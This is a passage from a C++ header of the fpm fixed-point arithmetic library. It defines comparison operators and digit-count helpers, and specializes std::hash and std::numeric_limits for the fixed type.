return x.raw_value() < y.raw_value();
}
template <typename B, typename I, unsigned int F>
constexpr inline bool operator>(const fixed<B, I, F>& x, const fixed<B, I, F>& y) noexcept
{
return x.raw_value() > y.raw_value();
}
template <typename B, typename I, unsigned int F>
constexpr inline bool operator<=(const fixed<B, I, F>& x, const fixed<B, I, F>& y) noexcept
{
return x.raw_value() <= y.raw_value();
}
template <typename B, typename I, unsigned int F>
constexpr inline bool operator>=(const fixed<B, I, F>& x, const fixed<B, I, F>& y) noexcept
{
return x.raw_value() >= y.raw_value();
}
namespace detail
{
// Number of base-10 digits required to fully represent a number of bits
static constexpr int max_digits10(int bits)
{
// 8.24 fixed-point equivalent of (int)ceil(bits * std::log10(2));
using T = long long;
return static_cast<int>((T{bits} * 5050445 + (T{1} << 24) - 1) >> 24);
}
// Number of base-10 digits that can be fully represented by a number of bits
static constexpr int digits10(int bits)
{
// 8.24 fixed-point equivalent of (int)(bits * std::log10(2));
using T = long long;
return static_cast<int>((T{bits} * 5050445) >> 24);
}
} // namespace detail
} // namespace fpm
// Specializations for customization points
namespace std
{
template <typename B, typename I, unsigned int F>
struct hash<fpm::fixed<B,I,F>>
{
using argument_type = fpm::fixed<B, I, F>;
using result_type = std::size_t;
result_type operator()(argument_type arg) const noexcept(noexcept(std::declval<std::hash<B>>()(arg.raw_value()))) {
return m_hash(arg.raw_value());
}
private:
std::hash<B> m_hash;
};
template <typename B, typename I, unsigned int F>
struct numeric_limits<fpm::fixed<B,I,F>>
{
static constexpr bool is_specialized = true;
static constexpr bool is_signed = std::numeric_limits<B>::is_signed;
static constexpr bool is_integer = false;
static constexpr bool is_exact = true;
static constexpr bool has_infinity = false;
static constexpr bool has_quiet_NaN = false;
static constexpr bool has_signaling_NaN = false;
static constexpr bool has_denorm = std::denorm_absent;
static constexpr bool has_denorm_loss = false;
static constexpr std::float_round_style round_style = std::round_to_nearest;
static constexpr bool is_iec_559 = false;
static constexpr bool is_bounded = true;
static constexpr bool is_modulo = std::numeric_limits<B>::is_modulo;
static constexpr int digits = std::numeric_limits<B>::digits;
// Any number with `digits10` significant base-10 digits (that fits in
// the range of the type) is guaranteed to be convertible from text and
// back without change. Worst case, this is 0.000...001, so we can only
// guarantee this case. Nothing more.
static constexpr int digits10 = 1;
// This is equal to max_digits10 for the integer and fractional part together.
static constexpr int max_digits10 =
fpm::detail::max_digits10(std::numeric_limits<B>::digits - F) + fpm::detail::max_digits10(F);
static constexpr int radix = 2;
static constexpr int min_exponent = 1 - F;
static constexpr int min_exponent10 = -fpm::detail::digits10(F);
static constexpr int max_exponent = std::numeric_limits<B>::digits - F;
static constexpr int max_exponent10 = fpm::detail::digits10(std::numeric_limits<B>::digits - F);
static constexpr bool traps = true;
static constexpr bool tinyness_before = false;
static constexpr fpm::fixed<B,I,F> lowest() noexcept {
return fpm::fixed<B,I,F>::from_raw_value(std::numeric_limits<B>::lowest());
};
static constexpr fpm::fixed<B,I,F> min() noexcept {
return lowest();
}
static constexpr fpm::fixed<B,I,F> max() noexcept {
return fpm::fixed<B,I,F>::from_raw_value(std::numeric_limits<B>::max());
};
static constexpr fpm::fixed<B,I,F> epsilon() noexcept {
return fpm::fixed<B,I,F>::from_raw_value(1);
};
static constexpr fpm::fixed<B,I,F> round_error() noexcept {
return fpm::fixed<B,I,F>(1) / 2;
};
static constexpr fpm::fixed<B,I,F> denorm_min() noexcept {
return min();
}
};
template <typename B, typename I, unsigned int F>
constexpr bool numeric_limits<fpm::fixed<B,I,F>>::is_specialized;
template <typename B, typename I, unsigned int F>
constexpr bool numeric_limits<fpm::fixed<B,I,F>>::is_signed;
template <typename B, typename I, unsigned int F>
constexpr bool numeric_limits<fpm::fixed<B,I,F>>::is_integer;
template <typename B, typename I, unsigned int F>
constexpr bool numeric_limits<fpm::fixed<B,I,F>>::is_exact;
template <typename B, typename I, unsigned int F>
constexpr bool numeric_limits<fpm::fixed<B,I,F>>::has_infinity;
template <typename B, typename I, unsigned int F>
constexpr bool numeric_limits<fpm::fixed<B,I,F>>::has_quiet_NaN;
template <typename B, typename I, unsigned int F>
constexpr bool numeric_limits<fpm::fixed<B,I,F>>::has_signaling_NaN;
template <typename B, typename I, unsigned int F>
constexpr bool numeric_limits<fpm::fixed<B,I,F>>::has_denorm;
template <typename B, typename I, unsigned int F>
constexpr bool numeric_limits<fpm::fixed<B,I,F>>::has_denorm_loss;
template <typename B, typename I, unsigned int F>
constexpr std::float_round_style numeric_limits<fpm::fixed<B,I,F>>::round_style;
template <typename B, typename I, unsigned int F>
constexpr bool numeric_limits<fpm::fixed<B,I,F>>::is_iec_559;
template <typename B, typename I, unsigned int F>
constexpr bool numeric_limits<fpm::fixed<B,I,F>>::is_bounded;
template <typename B, typename I, unsigned int F>
constexpr bool numeric_limits<fpm::fixed<B,I,F>>::is_modulo;
template <typename B, typename I, unsigned int F>
constexpr int numeric_limits<fpm::fixed<B,I,F>>::digits;
template <typename B, typename I, unsigned int F>
constexpr int numeric_limits<fpm::fixed<B,I,F>>::digits10;
template <typename B, typename I, unsigned int F>
constexpr int numeric_limits<fpm::fixed<B,I,F>>::max_digits10;
template <typename B, typename I, unsigned int F>
constexpr int numeric_limits<fpm::fixed<B,I,F>>::radix;
template <typename B, typename I, unsigned int F>
constexpr int numeric_limits<fpm::fixed<B,I,F>>::min_exponent;
template <typename B, typename I, unsigned int F>
constexpr int numeric_limits<fpm::fixed<B,I,F>>::min_exponent10;
template <typename B, typename I, unsigned int F>
constexpr int numeric_limits<fpm::fixed<B,I,F>>::max_exponent;
template <typename B, typename I, unsigned int F>
constexpr int numeric_limits<fpm::fixed<B,I,F>>::max_exponent10;
template <typename B, typename I, unsigned int F>
constexpr bool numeric_limits<fpm::fixed<B,I,F>>::traps;
template <typename B, typename I, unsigned int F>
constexpr bool numeric_limits<fpm::fixed<B,I,F>>::tinyness_before;
}
#endif
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.